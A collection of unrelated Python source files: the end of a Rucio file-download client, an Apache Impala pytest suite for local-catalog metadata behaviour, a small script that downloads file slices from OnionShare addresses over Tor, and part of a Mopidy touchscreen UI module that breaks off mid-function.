num_cea_sources=%d' % (num_non_cea_sources, min_cea_priority, len(cea_ids))) for cea_id in cea_ids: cea_id_mixed_to_fiids.setdefault(cea_id, set()).add(fiid) file_item.setdefault('cea_ids_mixed', set()).add(cea_id) # put all archives from the mixed list into the pure list if they meet # certain conditions, e.g., an archive that is already in the pure list for cea_id_mixed in list(cea_id_mixed_to_fiids.keys()): fiids_mixed = cea_id_mixed_to_fiids[cea_id_mixed] if cea_id_mixed in cea_id_pure_to_fiids: # file from mixed list is already in a pure list logger.debug('Mixed ID is already in cea pure map: ' 'cea_id_mixed=%s; num_fiids_mixed=%d; num_cea_pure_fiids=%d' % (cea_id_mixed, len(fiids_mixed), len(cea_id_pure_to_fiids[cea_id_mixed]))) elif len(fiids_mixed) >= self.use_cea_threshold: # more than use_cea_threshold files are in a common archive logger.debug('Number of needed files in cea reached threshold: ' 'cea_id_mixed=%s; num_fiids_mixed=%d; threshold=%d' % (cea_id_mixed, len(fiids_mixed), self.use_cea_threshold)) else: # dont move from mixed list to pure list continue # first add cea_id to pure map so it can be removed from mixed map later cea_id_pure_to_fiids.setdefault(cea_id_mixed, set()).update(fiids_mixed) # now update all file_item mixed/pure maps for fiid_mixed in list(fiids_mixed): file_item = fiid_to_file_item[fiid_mixed] # add cea id to file_item pure map file_item.setdefault('cea_ids_pure', set()).add(cea_id_mixed) # remove file item mixed map and # remove references from all other mixed archives to file_item for cea_id_mixed2 in file_item.pop('cea_ids_mixed'): cea_id_mixed_to_fiids[cea_id_mixed2].remove(fiid_mixed) # finally remove cea_id from mixed map cea_id_mixed_to_fiids.pop(cea_id_mixed) for file_item in all_file_items: cea_ids_pure = file_item.get('cea_ids_pure', set()) cea_ids_mixed = file_item.get('cea_ids_mixed', set()) if len(cea_ids_pure) > 0: logger.debug('Removing all non-cea sources of file %s' % file_item['did']) file_item['sources'] = [s for s in file_item['sources'] if s.get('client_extract', False)] elif len(cea_ids_mixed) > 0: logger.debug('Removing all cea sources of file %s' % file_item['did']) file_item['sources'] = [s for s in file_item['sources'] if not s.get('client_extract', False)] # reduce the amount of archives to download by removing # all redundant pure archives (=all files can be extracted from other archives) for cea_id_pure in list(cea_id_pure_to_fiids.keys()): # if all files of this archive are available in more than one archive the archive is redundant if all(len(fiid_to_file_item[fiid_pure]['cea_ids_pure']) > 1 for fiid_pure in cea_id_pure_to_fiids[cea_id_pure]): for fiid_pure in cea_id_pure_to_fiids[cea_id_pure]: fiid_to_file_item[fiid_pure]['cea_ids_pure'].discard(cea_id_pure) logger.debug('Removing redundant archive %s' % cea_id_pure) cea_id_pure_to_fiids.pop(cea_id_pure) # remove all archives of a file except a single one so # that each file is assigned to exactly one pure archive for cea_id_pure in cea_id_pure_to_fiids: for fiid_pure in cea_id_pure_to_fiids[cea_id_pure]: cea_ids_pure = fiid_to_file_item[fiid_pure]['cea_ids_pure'] for cea_id_pure_other in list(cea_ids_pure): if cea_id_pure != cea_id_pure_other: cea_id_pure_to_fiids[cea_id_pure_other].discard(fiid_pure) cea_ids_pure.discard(cea_id_pure_other) download_packs = [] cea_id_to_pack = {} for file_item in all_file_items: cea_ids = file_item.get('cea_ids_pure', set()) if len(cea_ids) > 0: cea_id = next(iter(cea_ids)) pack = cea_id_to_pack.get(cea_id) if pack is None: scope = file_item['scope'] first_dest = next(iter(file_item['merged_options']['destinations'])) dest_path = os.path.join(self._prepare_dest_dir(first_dest[0], scope, cea_id, first_dest[1]), cea_id) pack = {'scope': scope, 'name': cea_id, 'dest_file_paths': [dest_path], 'temp_file_path': '%s.part' % dest_path, 'sources': file_item['sources'], 'merged_options': {'ignore_checksum': True}, # we currently dont have checksums for the archive 'archive_items': [] } cea_id_to_pack[cea_id] = pack download_packs.append(pack) file_item.pop('sources') pack['archive_items'].append(file_item) else: download_packs.append(file_item) return download_packs def _split_did_str(self, did_str): """ Splits a given DID string (e.g. 'scope1:name.file') into its scope and name part (This function is meant to be used as class internal only) :param did_str: the DID string that will be splitted :returns: the scope- and name part of the given DID :raises InputValidationError: if the given DID string is not valid """ did = did_str.split(':') if len(did) == 2: did_scope = did[0] did_name = did[1] elif len(did) == 1: did = did_str.split('.') did_scope = did[0] if did_scope == 'user' or did_scope == 'group': did_scope = '%s.%s' % (did[0], did[1]) did_name = did_str else: raise InputValidationError('%s is not a valid DID. To many colons.' % did_str) if did_name.endswith('/'): did_name = did_name[:-1] return did_scope, did_name def _prepare_dest_dir(self, base_dir, dest_dir_name, file_name, no_subdir): """ Builds the final destination path for a file and: 1. deletes existing files if no_subdir was given 2. creates the destination directory if it's not existent (This function is meant to be used as class internal only) :param base_dir: base directory part :param dest_dir_name: name of the destination directory :param file_name: name of the file that will be downloaded :param no_subdir: if no subdirectory should be created :returns: the absolut path of the destination directory """ dest_dir_path = os.path.abspath(base_dir) # if no subdirectory is used, existing files will be overwritten if no_subdir: dest_file_path = os.path.join(dest_dir_path, file_name) if os.path.isfile(dest_file_path): self.logger.debug('Deleting existing file: %s' % dest_file_path) os.remove(dest_file_path) else: dest_dir_path = os.path.join(dest_dir_path, dest_dir_name) if not os.path.isdir(dest_dir_path): os.makedirs(dest_dir_path) return dest_dir_path def _check_output(self, output_items): """ Checks if all files were successfully downloaded (This function is meant to be used as class internal only) :param output_items: list of dictionaries describing the downloaded files :returns: output_items list :raises NoFilesDownloaded: :raises NotAllFilesDownloaded: """ success_states = ['ALREADY_DONE', 'DONE', 'FOUND_IN_PCACHE'] # failure_states = ['FILE_NOT_FOUND', 'FAIL_VALIDATE', 'FAILED'] num_successful = 0 num_failed = 0 for item in output_items: clientState = item.get('clientState', 'FAILED') if clientState in success_states: num_successful += 1 else: num_failed += 1 if num_successful == 0: raise NoFilesDownloaded() elif num_failed > 0: raise NotAllFilesDownloaded() return output_items def _send_trace(self, trace): """ Checks if sending trace is allowed and send the trace. :param trace: the trace """ if self.tracing: send_trace(trace, self.client.host, self.client.user_agent) def _verify_checksum(item, path): rucio_checksum = item.get(PREFERRED_CHECKSUM) local_checksum = None checksum_algo = CHECKSUM_ALGO_DICT.get(PREFERRED_CHECKSUM) if rucio_checksum and checksum_algo: local_checksum = checksum_algo(path) return rucio_checksum == local_checksum, rucio_checksum, local_checksum for checksum_name in GLOBALLY_SUPPORTED_CHECKSUMS: rucio_checksum = item.get(checksum_name) checksum_algo = CHECKSUM_ALGO_DICT.get(checksum_name) if rucio_checksum and checksum_algo: local_checksum = checksum_algo(path) return rucio_checksum == local_checksum, rucio_checksum, local_checksum return False, None, None
test_local_catalog.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # Test behaviors specific to --use_local_catalog being enabled. import pytest import Queue import random import threading import time from multiprocessing.pool import ThreadPool from tests.common.custom_cluster_test_suite import CustomClusterTestSuite from tests.common.skip import SkipIfHive2 from tests.util.filesystem_utils import WAREHOUSE RETRY_PROFILE_MSG = 'Retried query planning due to inconsistent metadata' CATALOG_VERSION_LOWER_BOUND = 'catalog.catalog-object-version-lower-bound' class TestCompactCatalogUpdates(CustomClusterTestSuite): @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true", catalogd_args="--catalog_topic_mode=minimal") def test_minimal_topic_updates_sync_ddl(self, unique_database): """ Start Impala cluster with minimal catalog update topics and local catalog enabled. Run some smoke tests for SYNC_DDL to ensure that invalidations are propagated. """ self._do_test_sync_ddl(unique_database) def _make_per_impalad_args(local_catalog_enabled): assert isinstance(local_catalog_enabled, list) args = ['--use_local_catalog=%s' % str(e).lower() for e in local_catalog_enabled] return "--per_impalad_args=" + ";".join(args) @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( start_args=_make_per_impalad_args([True, False]), catalogd_args="--catalog_topic_mode=mixed") def test_mixed_topic_updates_sync_ddl(self, unique_database): """ Same as above, but with 'mixed' mode catalog and different configs on the two different impalads used by the test. """ self._do_test_sync_ddl(unique_database) @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( start_args=_make_per_impalad_args([False, True]), catalogd_args="--catalog_topic_mode=mixed") def test_mixed_topic_updates_sync_ddl_2(self, unique_database): """ Same as above, but with opposite configurations for the two impalads used in the test. """ self._do_test_sync_ddl(unique_database) def _do_test_sync_ddl(self, unique_database): """ Implementation details for above two tests. """ try: impalad1 = self.cluster.impalads[0] impalad2 = self.cluster.impalads[1] client1 = impalad1.service.create_beeswax_client() client2 = impalad2.service.create_beeswax_client() view = "%s.my_view" % unique_database # Try to describe the view before it exists - should get an error. # This should prime any caches in impalad2. err = self.execute_query_expect_failure(client2, "describe %s" % view) assert 'Could not resolve' in str(err) # Create it with SYNC_DDL from client 1. query_options = {"sync_ddl": 1} self.execute_query_expect_success(client1, "create view %s as select 1" % view, query_options) # It should be immediately visible from client 2. self.execute_query_expect_success(client2, "describe %s" % view) # Test global INVALIDATE METADATA new_db = unique_database + '_new' self.execute_query_expect_success( client1, "create database if not exists %s" % new_db, query_options) # The new database should be immediately visible from client 2. self.execute_query_expect_success(client2, "describe database %s" % new_db) # Drop database in Hive. Params: name, deleteData, cascade self.hive_client.drop_database(new_db, True, True) self.execute_query_expect_success(client1, "invalidate metadata", query_options) err = self.execute_query_expect_failure(client2, "describe database %s" % new_db) assert 'Database does not exist' in str(err) finally: client1.close() client2.close() @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true", catalogd_args="--catalog_topic_mode=minimal") def test_restart_catalogd(self, unique_database): """ Tests for the behavior of LocalCatalog when catalogd restarts. """ try: impalad = self.cluster.impalads[0] client = impalad.service.create_beeswax_client() view = "%s.my_view" % unique_database self.execute_query_expect_success(client, "create view %s as select 1" % view) self.execute_query_expect_success(client, "select * from %s" % view) # Should not have any detected restarts, initially. self.assert_impalad_log_contains('WARNING', 'Detected catalog service restart', expected_count=0) # Kill catalogd, and while it's down, drop the view via HMS. self.cluster.catalogd.kill() # Drop the view via hive to ensure that when catalogd restarts, # the impalads see the dropped view. self.hive_client.drop_table(unique_database, "my_view", True) # Start catalogd again. We should see the view disappear once the # catalog pushes a new topic update. self.cluster.catalogd.start() NUM_ATTEMPTS = 30 for attempt in xrange(NUM_ATTEMPTS): try: self.assert_impalad_log_contains('WARNING', 'Detected catalog service restart') err = self.execute_query_expect_failure(client, "select * from %s" % view) assert "Could not resolve table reference" in str(err) break except Exception, e: assert attempt < NUM_ATTEMPTS - 1, str(e) time.sleep(1) finally: client.close() @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true", catalogd_args="--catalog_topic_mode=minimal") def test_global_invalidate_metadata_with_sync_ddl(self, unique_database): try: impalad1 = self.cluster.impalads[0] impalad2 = self.cluster.impalads[1] client1 = impalad1.service.create_beeswax_client() client2 = impalad2.service.create_beeswax_client() # Create something to make the cache not empty. self.execute_query_expect_success( client1, "CREATE TABLE %s.my_tbl (i int)" % unique_database) self.execute_query_expect_success( client1, "CREATE FUNCTION %s.my_func LOCATION '%s/impala-hive-udfs.jar' " "SYMBOL='org.apache.impala.TestUdf'" % (unique_database, WAREHOUSE)) self.execute_query_expect_success( client1, "select * from functional.alltypestiny") version_lower_bound = impalad1.service.get_metric_value( CATALOG_VERSION_LOWER_BOUND) # Reset catalog with SYNC_DDL from client 2. query_options = {"sync_ddl": 1} self.execute_query_expect_success(client2, "INVALIDATE METADATA", query_options) assert version_lower_bound < impalad1.service.get_metric_value( CATALOG_VERSION_LOWER_BOUND) version_lower_bound = impalad1.service.get_metric_value( CATALOG_VERSION_LOWER_BOUND) assert version_lower_bound == impalad2.service.get_metric_value( CATALOG_VERSION_LOWER_BOUND) finally: client1.close() client2.close() class TestLocalCatalogRetries(CustomClusterTestSuite): def _check_metadata_retries(self, queries): """ Runs 'queries' concurrently, recording any inconsistent metadata exceptions. 'queries' is a list of query strings. The queries are run by two threads, each one selecting a random query to run in a loop. """ # Tracks number of inconsistent metadata exceptions. inconsistent_seen = [0] inconsistent_seen_lock = threading.Lock() # Tracks query failures for all other reasons. failed_queries = Queue.Queue() try: client1 = self.cluster.impalads[0].service.create_beeswax_client() client2 = self.cluster.impalads[1].service.create_beeswax_client() def stress_thread(client): # Loops, picks a random query in each iteration, runs it, # and looks for retries and InconsistentMetadataFetchExceptions. attempt = 0 while inconsistent_seen[0] == 0 and attempt < 200: q = random.choice(queries) attempt += 1 try: ret = self.execute_query_unchecked(client, q) except Exception, e: if 'InconsistentMetadataFetchException' in str(e): with inconsistent_seen_lock: inconsistent_seen[0] += 1 else: failed_queries.put((q, str(e))) threads = [threading.Thread(target=stress_thread, args=(c,)) for c in [client1, client2]] for t in threads: t.start() for t in threads: # When there are failures, they're observed quickly. t.join(30) assert failed_queries.empty(),\ "Failed query count non zero: %s" % list(failed_queries.queue) finally: client1.close() client2.close() return inconsistent_seen[0] @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true", catalogd_args="--catalog_topic_mode=minimal") def test_fetch_metadata_retry(self): """ Tests that operations that fetch metadata (excluding those fetches needed for query planning) retry when they hit an InconsistentMetadataFetchException. """ queries = [ "show column stats functional.alltypes", "show table stats functional.alltypes", "describe extended functional.alltypes", "show tables in functional like 'all*'", "show files in functional.alltypes", "refresh functional.alltypes"] seen = self._check_metadata_retries(queries) assert seen == 0, "Saw inconsistent metadata" @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true --local_catalog_max_fetch_retries=0", catalogd_args="--catalog_topic_mode=minimal") def test_replan_limit(self): """ Tests that the flag to limit the number of retries works and that an inconsistent metadata exception when running concurrent reads/writes is seen. With the max retries set to 0, no retries are expected and with the concurrent read/write workload, an inconsistent metadata exception is expected. """ queries = [ 'refresh functional.alltypes', 'refresh functional.alltypes partition (year=2009, month=4)', 'select count(*) from functional.alltypes where month=4'] seen = self._check_metadata_retries(queries) assert seen > 0, "Did not observe inconsistent metadata" @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true", catalogd_args="--catalog_topic_mode=minimal") def test_replan_on_stale_metadata(self, unique_database): """ Tests that when metadata is inconsistent while planning a query, the query planner retries the query. """ try: impalad1 = self.cluster.impalads[0] impalad2 = self.cluster.impalads[1] client1 = impalad1.service.create_beeswax_client() client2 = impalad2.service.create_beeswax_client() # Create a view in client 1, cache the table list including that view in # client 2, and then drop it in client 1. While we've still cached the # table list, try to describe the view from client 2 -- it should fail # with the normal error message even though it had the inconsistent cache. view = "%s.my_view" % unique_database self.execute_query_expect_success(client1, "create view %s as select 1" % view) self.execute_query_expect_success(client2, "show tables") self.execute_query_expect_success(client1, "drop view %s" % view) err = self.execute_query_expect_failure(client2, "describe %s" % view) assert "Could not resolve path" in str(err) # Run a mix of concurrent REFRESH and queries against different subsets # of partitions. This causes partial views of the table to get cached, # and then as the new partitions are loaded, we detect the version skew # and issue re-plans. We run the concurrent workload until the profile # indicates that a replan has happened. # We expect stress_thread to cause a re-plan. The counter is stored in a # mutable container so that stress_thread can update it. # TODO: consolidate with _check_metadata_retries. replans_seen = [0] replans_seen_lock = threading.Lock() # Queue to propagate exceptions from failed queries, if any. failed_queries = Queue.Queue() def stress_thread(client): while replans_seen[0] == 0: # TODO(todd) EXPLAIN queries don't currently yield a profile, so # we have to actually run a COUNT query. q = random.choice([ 'invalidate metadata functional.alltypes', 'select count(*) from functional.alltypes where month=4', 'select count(*) from functional.alltypes where month=5']) try: ret = self.execute_query_expect_success(client, q) except Exception as e: failed_queries.put((q, str(e))) continue if RETRY_PROFILE_MSG in ret.runtime_profile: with replans_seen_lock: replans_seen[0] += 1 threads = [threading.Thread(target=stress_thread, args=(c,)) for c in [client1, client2]] for t in threads: t.start() for t in threads: t.join(30) assert failed_queries.empty(), "Failed queries encountered: %s" %\ list(failed_queries.queue) assert replans_seen[0] > 0, "Did not trigger any re-plans" finally: client1.close() client2.close() @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true --inject_latency_after_catalog_fetch_ms=50", catalogd_args="--catalog_topic_mode=minimal", cluster_size=1) def test_invalidation_races(self, unique_database): """ Regression test for IMPALA-7534: races where invalidation of the table list could be skipped, causing spurious "table not found" errors. """ test_self = self class ThreadLocalClient(threading.local): def __init__(self): self.c = test_self.create_impala_client() t = ThreadPool(processes=8) tls = ThreadLocalClient() def do_table(i): for q in [ "create table {db}.t{i} (i int)", "describe {db}.t{i}", "drop table {db}.t{i}", "create database {db}_{i}", "show tables in {db}_{i}", "drop database {db}_{i}"]: self.execute_query_expect_success(tls.c, q.format( db=unique_database, i=i)) # Prior to fixing IMPALA-7534, this test would fail within 20-30 iterations, # so 100 should be quite reliable as a regression test. NUM_ITERS = 100 for i in t.imap_unordered(do_table, xrange(NUM_ITERS)): pass class TestObservability(CustomClusterTestSuite): def get_catalog_cache_metrics(self, impalad): """ Returns catalog cache metrics as a dict by scraping the json metrics page on the given impalad""" child_groups =\ impalad.service.get_debug_webpage_json('metrics')['metric_group']['child_groups'] for group in child_groups: if group['name'] != 'impala-server': continue # Filter catalog cache metrics. for child_group in group['child_groups']: if child_group['name'] != 'catalog': continue metrics_data = [(metric['name'], metric['value']) for metric in child_group['metrics'] if 'catalog.cache' in metric['name']] return dict(metrics_data) assert False, "Catalog cache metrics not found in %s" % child_groups @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true", catalogd_args="--catalog_topic_mode=minimal") def test_cache_metrics(self, unique_database): """ Test that profile output includes impalad local cache metrics. Also verifies that the daemon level metrics are updated between query runs. """ try: impalad = self.cluster.impalads[0] # Make sure local catalog mode is enabled and visible on web UI. assert '(Local Catalog Mode)' in impalad.service.read_debug_webpage('/') # Make sure /catalog_object endpoint is disabled on web UI. assert 'No URI handler for &apos;/catalog_object&apos;' \ in impalad.service.read_debug_webpage('/catalog_object') client = impalad.service.create_beeswax_client() cache_hit_rate_metric_key = "catalog.cache.hit-rate" cache_miss_rate_metric_key = "catalog.cache.miss-rate" cache_hit_count_metric_key = "catalog.cache.hit-count" cache_request_count_metric_key = "catalog.cache.request-count" cache_request_count_prev_run = 0 cache_hit_count_prev_run = 0 test_table_name = "%s.test_cache_metrics_test_tbl" % unique_database # A mix of queries of various types. queries_to_test = ["select count(*) from functional.alltypes", "explain select count(*) from functional.alltypes", "create table %s (a int)" % test_table_name, "drop table %s" % test_table_name] for _ in xrange(0, 10): for query in queries_to_test: ret = self.execute_query_expect_success(client, query) assert ret.runtime_profile.count("Frontend:") == 1 assert ret.runtime_profile.count("CatalogFetch") > 1 cache_metrics = self.get_catalog_cache_metrics(impalad) cache_hit_rate = cache_metrics[cache_hit_rate_metric_key] cache_miss_rate = cache_metrics[cache_miss_rate_metric_key] cache_hit_count = cache_metrics[cache_hit_count_metric_key] cache_request_count = cache_metrics[cache_request_count_metric_key] assert cache_hit_rate > 0.0 and cache_hit_rate < 1.0 assert cache_miss_rate > 0.0 and cache_miss_rate < 1.0 assert cache_hit_count > cache_hit_count_prev_run,\ "%s not updated between two query runs, query - %s"\ % (cache_hit_count_metric_key, query) assert cache_request_count > cache_request_count_prev_run,\ "%s not updated betweeen two query runs, query - %s"\ % (cache_request_count_metric_key, query) cache_hit_count_prev_run = cache_hit_count cache_request_count_prev_run = cache_request_count finally: client.close() class TestFullAcid(CustomClusterTestSuite): @SkipIfHive2.acid @pytest.mark.execute_serially @CustomClusterTestSuite.with_args( impalad_args="--use_local_catalog=true", catalogd_args="--catalog_topic_mode=minimal") def test_full_acid_support(self): """IMPALA-9685: canary test for full acid support in local catalog""" self.execute_query("show create table functional_orc_def.alltypestiny") res = self.execute_query("select id from functional_orc_def.alltypestiny") res.data.sort() assert res.data == ['0', '1', '2', '3', '4', '5', '6', '7']
req.py
import os import sys from flask import Flask import requests as r import time import json from signal import signal, SIGINT import threading from datetime import datetime threads = 4 content = [0] * threads #inits list with threads number of 0s threadL = [] #Get a file from an onionshare address to add to list def getShare(address, iter): session = r.session() session.proxies = {} session.proxies['http'] = 'socks5h://localhost:9050' session.proxies['https'] = 'socks5h://localhost:9050' res = session.get(address) #download file content[iter] = res.content #append this slice's content to total content list #This thread unneeded now, can safely kill it killMe(iter) #Get a file from an onionshare address, for totalOrder.txt def getShareWithoutIter(address): session = r.session() session.proxies = {} session.proxies['http'] = 'socks5h://localhost:9050' session.proxies['https'] = 'socks5h://localhost:9050' res = session.get(address) #download file open("totalOrder.txt", 'wb').write(res.content) def createThreads(): while True: time.sleep(5) #Addresses written to file (Step 2) if os.path.isfile("totalOrder.txt"): #Need to make a thread for each address f = open("totalOrder.txt", 'r') lines = f.readlines() f.close() j = 0 for line in lines: t = threading.Thread(target=getShare,args=[line.strip('\n'), j]) threadL.append(t) t.start() j += 1 #Every slot in content has been written to (Step 3) elif not (0 in content): print(content) #Tell session it has finished statF = open("stat.txt", 'r') onionaddr = statF.readline().rstrip() statF.close() session = r.session() session.proxies = {} session.proxies['http'] = 'socks5h://localhost:9050' session.proxies['https'] = 'socks5h://localhost:9050' session.get(onionaddr + 'finish') #tell server finished downloading #Write total content to image.zip open("image.zip", "wb").write(content) reset() #totalOrder.txt not yet received (Step 1) else: statF = open("stat.txt", 'r') onionaddr = statF.readline().rstrip() statF.close() #if file ready to be received from worker. onionaddr will hold the .onion address if onionaddr != '' and onionaddr != 'Executing' and onionaddr != 'Ready': getShareWithoutIter(onionaddr) #download totalOrder.txt def reset(): global content global threadL content = [0] * threads #kill all threads before resetting for i in threadL: i._delete() threadL = [] os.remove("totalOrder.txt") #kill specified thread def killMe(iter): threadL[iter]._delete() createThreads()
screens.py
import pygame import mopidy.core import mopidy.models import hashlib import json import logging import os import time import urllib.request import urllib.parse from threading import Thread from enum import Enum import socket from mopidy.models import Track from .graphic_utils import Progressbar, ScreenObjectsManager, \ TextItem, TouchAndTextItem, ListView from .input_manager import InputManager logger = logging.getLogger(__name__) try: import musicbrainzngs _use_musicbrainz = True musicbrainzngs.set_useragent( "mopidy-touchtft", "1.1.0" "https://github.com/woelfisch/mopidy-touchscreen" ) except: _use_musicbrainz = False logger.info('Module usicbrainz-ngs not found. Will not download cover art.') class BaseScreen: update_all = 0 update_partial = 1 no_update = 2 def __init__(self, size, base_size, manager, fonts): self.size = size self.base_size = base_size self.manager = manager self.fonts = fonts def find_update_rects(self, rects): pass def update(self, surface, update_type, rects): """ Draw this screen to the surface :param surface: :param update_type: :param rects: """ pass def event(self, event): pass def change_screen(self, direction): return False def should_update(self): return BaseScreen.update_partial class Keyboard(BaseScreen): def __init__(self, size, base_size, manager, fonts, listener): BaseScreen.__init__(self, size, base_size, manager, fonts) self.base_width = size[0] / 10 self.base_height = size[1] / 5 self.listener = listener self.manager = manager self.selected_row = 0 self.selected_col = 0 self.selected_others = -1 self.font = pygame.font.SysFont("arial", int(size[1] / 7)) self.keyboards = [ScreenObjectsManager(), ScreenObjectsManager()] self.other_objects = ScreenObjectsManager() self.current_keyboard = 0 self.keys = [[['q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p'], ['a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', '-'], [',', 'z', 'x', 'c', 'v', 'b', 'n', 'm', '.', '_']], [['1', '2', '3', '4', '5', '6', '7', '8', '9', '0'], ['!', '@', '#', '$', '%', '&', '/', '(', ')', '='], ['?', '{', '}', '_', '[', ']', '+', '<', '>', '*']]] line = self.base_height for row in self.keys[self.current_keyboard]: pos = 0 for key in row: button = \ TouchAndTextItem(self.font, key, (pos, line), (self.base_width, self.base_height), center=True, background=(150, 150, 150)) self.keyboards[self.current_keyboard]. \ set_touch_object(key, button) pos += self.base_width line += self.base_height self.current_keyboard = 1 line = self.base_height for row in self.keys[self.current_keyboard]: pos = 0 for key in row: button = \ TouchAndTextItem(self.font, key, (pos, line), (self.base_width, self.base_height), center=True, background=(150, 150, 150), scroll_no_fit=False) self.keyboards[self.current_keyboard]. \ set_touch_object(key, button) pos += self.base_width line += self.base_height self.current_keyboard = 0 # Symbol button button = TouchAndTextItem(self.font, "123", (0, self.base_height * 4), (self.base_width * 2, self.base_height), center=True, background=(150, 150, 150), scroll_no_fit=False) self.other_objects.set_touch_object("symbols", button) # remove button button = TouchAndTextItem(self.font, "<-", (self.base_width * 2, self.base_height * 4), (self.base_width * 2, self.base_height), center=True, background=(150, 150, 150), scroll_no_fit=False) self.other_objects.set_touch_object("remove", button) # Space button button = TouchAndTextItem(self.font, " ", (self.base_width * 4, self.base_height * 4), (self.base_width * 4, self.base_height), center=True, background=(150, 150, 150), scroll_no_fit=False) self.other_objects.set_touch_object("space", button) # OK button button = TouchAndTextItem(self.font, "->", (self.base_width * 8, self.base_height * 4), (self.base_width * 2, self.base_height), center=True, background=(150, 150, 150), scroll_no_fit=False) self.other_objects.set_touch_object("ok", button) # EditText button button = TouchAndTextItem(self.font, "", (0, 0), (self.size[0], self.base_height), center=False, scroll_no_fit=False) self.other_objects.set_object("text", button) self.selected_others = 3 self.set_selected_other() def update(self, screen, update_type, rects): screen.fill((0, 0, 0)) self.keyboards[self.current_keyboard].render(screen) self.other_objects.render(screen) def touch_event(self, touch_event): if touch_event.type == InputManager.click: keys = self.keyboards[self.current_keyboard] \ .get_touch_objects_in_pos(touch_event.current_pos) for key in keys: self.other_objects.get_object("text").add_text(key, False) keys = self.other_objects.get_touch_objects_in_pos( touch_event.current_pos) for key in keys: if key == 'symbols': self.change_keyboard() elif key == "remove": self.other_objects.get_object("text").remove_text(1, False) elif key == "space": self.other_objects.get_object("text").add_text(" ", False) elif key == "ok": text = self.other_objects.get_object("text").text self.listener.text_input(text) self.manager.close_keyboard() elif touch_event.type == InputManager.key: if not isinstance(touch_event.unicode, int): if touch_event.unicode == u'\x08': self.other_objects.get_object("text").remove_text(1, False) else: self.other_objects.get_object("text").add_text( touch_event.unicode, False) elif touch_event.direction is not None: x = 0 y = 0 if touch_event.direction == InputManager.left: x = -1 elif touch_event.direction == InputManager.right: x = 1 elif touch_event.direction == InputManager.up: y = -1 elif touch_event.direction == InputManager.down: y = 1 if touch_event.direction == InputManager.enter: self.selected_click() else: self.change_selected(x, y) def change_keyboard(self): if self.current_keyboard == 0: self.current_keyboard = 1 else: self.current_keyboard = 0 if self.selected_others < 0: self.change_selected(0, 0) def change_selected(self, x, y): if self.selected_others < 0: # We are on the keyboard # Update col self.selected_col += x if self.selected_col < 0: self.selected_col = 0 elif self.selected_col > 9: self.selected_col = 9 # Update row self.selected_row += y if self.selected_row < 0: self.selected_row = 0 elif self.selected_row > 2: # Change to the bottom part if self.selected_col < 2: self.selected_others = 0 elif self.selected_col < 4: self.selected_others = 1 elif self.selected_col < 8: self.selected_others = 2 else: self.selected_others = 3 # Update selected if self.selected_others < 0: key = self.keys[self.current_keyboard][ self.selected_row][self.selected_col] self.keyboards[self.current_keyboard].set_selected(key) else: self.keyboards[0].set_selected(None) self.keyboards[1].set_selected(None) self.set_selected_other() else: # We are on the bottom part if y < 0: # we are returning to the keyboard # Select col if self.selected_others == 0: self.selected_col = 0 elif self.selected_others == 1: self.selected_col = 2 elif self.selected_others == 2: self.selected_col = 4 else: self.selected_col = 8 self.selected_others = -1 self.set_selected_other() self.selected_row = 2 key = self.keys[self.current_keyboard][ self.selected_row][self.selected_col] self.keyboards[self.current_keyboard].set_selected(key) elif x != 0: # We change in horizontal self.selected_others += x if self.selected_others < 0: self.selected_others = 0 elif self.selected_others > 3: self.selected_others = 3 self.set_selected_other() def selected_click(self): if self.selected_others >= 0: if self.selected_others == 0: self.change_keyboard() elif self.selected_others == 1: self.other_objects.get_object("text").remove_text(1, False) elif self.selected_others == 2: self.other_objects.get_object("text").add_text(" ", False) elif self.selected_others == 3: text = self.other_objects.get_object("text").text self.listener.text_input(text) self.manager.close_keyboard() else: key = self.keys[self.current_keyboard][ self.selected_row][self.selected_col] self.other_objects.get_object("text").add_text( key, False) def set_selected_other(self): key = None if self.selected_others == 0: key = "symbols" elif self.selected_others == 1: key = "remove" elif self.selected_others == 2: key = "space" elif self.selected_others == 3: key = "ok" self.other_objects.set_selected(key) class LibraryScreen(BaseScreen): def __init__(self, size, base_size, manager, fonts): BaseScreen.__init__(self, size, base_size, manager, fonts) self.list_view = ListView((0, 0), self.size, self.base_size, self.fonts['base']) self.directory_list = [] self.current_directory = None self.library = None self.library_strings = None self.browse_uri(None) def go_inside_directory(self, uri): self.directory_list.append(self.current_directory) self.current_directory = uri self.browse_uri(uri) def browse_uri(self, uri): self.library_strings = [] if uri is not None: self.library_strings.append("../") self.library = self.manager.core.library.browse(uri).get() for lib in self.library: self.library_strings.append(lib.name) self.list_view.set_list(self.library_strings) def go_up_directory(self): if len(self.directory_list): directory = self.directory_list.pop() self.current_directory = directory self.browse_uri(directory) def should_update(self): return self.list_view.should_update() def find_update_rects(self, rects): return self.list_view.find_update_rects(rects) def update(self, screen, update_type, rects): update_all = (update_type == BaseScreen.update_all) self.list_view.render(screen, update_all, rects) def touch_event(self, touch_event): clicked = self.list_view.touch_event(touch_event) if clicked is not None: if self.current_directory is not None: if clicked == 0: self.go_up_directory() else: if self.library[clicked - 1].type \ == mopidy.models.Ref.TRACK: self.play_uri(clicked - 1) else: self.go_inside_directory( self.library[clicked - 1].uri) else: self.go_inside_directory(self.library[clicked].uri) def play_uri(self, track_pos): self.manager.core.tracklist.clear() tracks = [] for item in 